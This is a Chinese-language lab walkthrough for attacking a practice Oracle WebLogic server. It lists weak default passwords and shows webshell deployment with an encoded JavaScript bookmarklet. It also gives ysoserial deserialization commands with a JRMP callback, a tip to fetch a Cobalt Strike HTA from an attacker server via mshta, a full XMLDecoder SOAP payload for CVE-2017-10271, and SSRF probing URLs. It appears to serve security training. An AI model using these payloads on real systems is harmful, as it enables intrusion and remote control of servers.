WebLogic遠程命令執行
靶機說明
目標ip:172.16.53.28(window 2003)
本靶機所針對的序列化漏洞系列以及常見安全問題如下:
- 弱口令登陸控制臺部署war包webshell
- CVE-2018-2893
- CVE-2018-2628
- CVE-2017-10271
- CVE-2017-3248
- CVE-2016-3510
- CVE-2015-4852
- weblogic ssrf
遠程登陸靶機開啟weblogic服務,以及方便後續觀察遠程命令執行的效果
- 靶機登陸賬號/密碼:Administrator/secquan.org
- weblogic賬號/密碼:weblogic/admin123
- 啟動weblogic服務:點擊桌面“startWebLogic.cmd”文件啟動
信息探測
1. nmap探測目標服務器端口以及服務等相關信息
1.1 在命令行終端下執行以下命令
namp -T4 -A 172.16.53.28
1.2 執行結果所獲得的信息如下
通過nmap的探測結果,我們可以得知目標的7001端口開放了weblogic的相關服務,並且得知了weblogic的版本信息,以及其它系統相關信息和其它端口服務相關的信息。
得知了weblogic的版本等相關信息後,可以利用互聯網檢索是否該版本存在響應的漏洞,以尋求利用的可能
弱口令登陸控制臺部署war包webshell
1. 登陸界面手工輸入常用弱口令嘗試登陸
1.1 由於weblogic的登陸入口有賬戶鎖定的機制,所以無法采用爆破的方式,以下截圖就是使用burpsuite爆破過後,導致輸入正確的賬號密碼都被鎖定
服務器終端也打印出賬戶被鎖定30分鐘的信息,如下:
1.2 手動輸入常用的weblogic的肉口令進行登陸嘗試
#常用弱口令如下,可根據實際情況進行添加或者組合: administrator:password weblogic:password weblogic:weblogic weblogic:weblogic1 weblogic:welcome1 weblogic:admin123 weblogic:Oracle@123 system:weblogic system:password system:security system:system portaladmin:portaladmin wlcsystem:wlcsystem wlpisystem:wlpisystem admin:security joe:password guest:guest
2.登陸成功後,開始部署war包webshell
2.1 進入到weblogic的控制臺首頁,點擊“鎖定並編輯”,再點擊“部署”
2.2 選擇“安裝“,如下截圖
2.3 點擊頁面超鏈接”上載文件“,然後選中提前準備好的war包webshell,選擇第一項‘將部署上載到管理服務器’,最後點擊下一步
選中提前準備好的war包webshell(下載地址:https://github.com/SecurityRiskAdvisors/cmd.jsp),然後點擊下一步
看到以下提示,說明上傳成功,顯示了我們上傳的文件的所在位置,接著繼續點擊下一步
2.4 選擇“將此部署安裝為應用程序”,點擊“下一步”
2.5 接下來可以給該部署命名,默認即可
2.6 點擊“完成”之後,看到“設置更新成功”,說明前面的操作正確
2.7 再次回到‘部署‘選項中,選中剛剛部署的 cmd 應用程序,點擊‘啟動‘服務(註意,此處一定要來自己手工啟動服務,不然 shell 是部署不上的 )
選擇“是”
2.8 看到如下圖所標記的內容,就說明webshell部署成功
2.9 啟動部署成功之後,通過用瀏覽器訪問 http://172.16.53.28:7001/cmd/cmd.jsp 就可以看到我們的 shell 了
備註 : 如果使用文章中提到的cmd.war來部署這個webshell,當訪問該cmd.jsp文件的時候,會看到的是一個沒有任何回顯的空白頁面,需要將一段js代碼保存為瀏覽器的書簽,當直接訪問 http://172.16.53.28:7001/cmd/cmd.jsp的時候,再在當前頁面點擊js書簽,才能看到頁面的輸出,如下圖
//需要保存為書簽的js代碼如下:
javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);
至此,通過弱口令登陸weblogic並部署war包webshell就到此結束
CVE-2018-2893 漏洞利用
漏洞簡介
WebLogic (CVE-2018-2893)漏洞和之前的JRMP協議漏洞(CVE-2018-2628)漏洞是分不開的,他是結合了RMI機制缺陷和JDK反序列化漏洞繞過了WebLogic黑名單,從而執行系統命令 。
受影響的系統版本
- WebLogic10.3.6.0
- WebLogic12.1.3.0
- WebLogic12.2.1.2
- WebLogic12.2.1.3
註:此漏洞暫時有一定利用限制,只在 jdk7u21 之前的版本實際利用成功過
相關利用工具下載地址
https://github.com/pyn3rd/CVE-2018-2893
漏洞利用過程
1.通過CVE-2018-2893的相關檢測腳本簡單驗證目標是否存在此漏洞
1.1 腳本下載地址
https://github.com/anbai-inc/CVE-2018-2893
1.2 執行結果,顯示存在CVE-2018-2893漏洞
2.生成 payload,功能是回連下載執行指定的系統命令(在大佬平臺的環境下,以下命令所用到的ip需要是一個公網ip,比如自己的VPS)
# 生成payload的命令如下,執行結果就是在當前目錄下生成一個shell.ser的文件:
java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "192.168.74.142:1099" > shell.ser
3.在攻擊機上執行以下命令,啟動服務端,等待目標weblogic下載執行指定的命令
# 監聽攻擊機的1099端口
java -cp ysoserial-cve-2018-2893.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"
4.通過T3協議將之前制作好的payload發送給目標weblogic,執行payload(命令中的ip為目標ip)
python weblogic.py 192.168.74.143 7001 shell.cer
5.遠程命令執行效果如下
註:此次漏洞利用過程執行的是打開計算機的命令,在實際操作過程當中,可以利用cs服務器生成hta文件,然後通過將“calc.exe”命令換成“mshta.exe http://攻擊者服務器/options.hta” ,可以直接反彈beacon到cs服務器
CVE-2018-2628 漏洞利用
漏洞簡介
由於 weblogic 對於 T3 協議發送的數據包沒有過濾,註冊一個 RMI 接口,通過 T3 協議建立連接,加載回來再一步步解包,利用 readObject 解析,從而造成了反序列化遠程代碼執行
受影響的系統版本
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
相關利用工具下載地址
#漏洞檢測腳本:
https://github.com/aedoo/CVE-2018-2628-MultiThreading
#k8 Tools:
https://github.com/0xMJ/CVE-2018-2628/raw/master/k8weblogicGUI.exe
#shell執行腳本:
https://github.com/jas502n/CVE-2018-2628/blob/master/cve-2018-2628.py
https://github.com/brianwrf/ysoserial
漏洞利用過程
1.通過CVE-2018-2628的相關檢測腳本簡單驗證目標是否存在此漏洞
2.利用K8 Tools getshell
3.運行連接shell的python腳本(python2環境下運行),獲取執行命令的控制臺
Shell: http://192.168.74.143:7001/bea_wls_internal/wlscmd.jsp
CVE-2017-10271 漏洞利用
漏洞簡介
WebLogic WLS組件中存在CVE-2017-10271遠程代碼執行漏洞,可以構造請求對運行WebLogic中間件的主機進行攻擊,究其底層其實還是 XMLDecoder 的反序列化漏洞 。
受影響的系統版本
- Weblogic 10.3.6.0.0
- Weblogic 12.1.3.0.0
- Weblogic 12.2.1.1.0
- Weblogic 12.2.1.2.0
漏洞利用過程
1.驗證目標機器是否存在此漏洞,驗證方法如下:
瀏覽器訪問 poc url : /wls-wsat/CoordinatorPortType 看到類似下面的返回則說明目標機器可能存在此漏洞
http://192.168.74.143:7001/wls-wsat/CoordinatorPortType
2.使用burpsuite的repeater模塊像目標服務器發包,直接將payload復制到repeater的request位置
payload如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.74.143
Accept-Encoding: identity
Content-Length: 592
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2.1 需要對payload做以下一些修改
2.2 點擊“Go”過後,目標服務器執行命令彈出計算機
weblogic ssrf 漏洞利用
漏洞簡介
SSRF漏洞,也稱為XSPA(跨站端口攻擊),問題存在於應用程序在加載用戶提供的URL時,沒能正確驗證服務器的響應,然後就反饋回了客戶端。攻擊者可以利用該漏洞繞過訪問限制(如防火墻),進而將受感染的服務器作為代理進行端口掃描,甚至訪問系統中的數據。
Oracle WebLogic web server即可以被外部主機訪問,同時也允許訪問內部主機。比如有一個jsp頁面SearchPublicReqistries.jsp,我們可以利用它進行攻擊,未經授權通過weblogic server連接任意主機的任意TCP 端口,可以能冗長的響應來推斷在此端口上是否有服務在監聽此端口。
漏洞利用過程
1.Weblogic ssrf url 如下:
#SSRF漏洞存在於:
http://192.168.74.143:7001/uddiexplorer/SearchPublicRegistries.jsp
2.向服務器通過get方式提交以下參數
http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search
此時提交參數operator=http://localhost/robots.txt ,訪問的端口是80(不存在),訪問一個不存在的端口會返回以下信息:
3、將訪問的參數加上7001端口再訪問
http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost:7001/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search
此時服務器訪問7001端口時返回一個404的狀態碼
還可能遇到的返回狀態有以下幾種:
3.內網端口探測
我們可以根據返回的不同狀態信息,來判斷內網的IP是否存在以及對應端口是否開放。這裏有一個地方需要註意的是,需要知道目標內網網段。如果盲目的去進行網段掃描會耗費大量的時間。
根據不同的返回狀態這個特性,利用python寫一個腳本去探測
更多的利用可參考:https://blog.chaitin.cn/gopher-attack-surfaces/,如得知內網存在如redis的機器,也可通過此ssrf進行攻擊
相關腳本下載地址:
https://github.com/anbai-inc/CVE-2018-2893
https://github.com/SecurityRiskAdvisors/cmd.jsp
https://github.com/0xMJ/CVE-2018-2628
https://github.com/brianwrf/ysoserial
https://github.com/Lighird/CVE-2018-2628
https://github.com/quentinhardy/scriptsAndExploits/tree/master/exploits/weblogic
https://github.com/jas502n/CVE-2018-2628
WebLogic遠程命令執行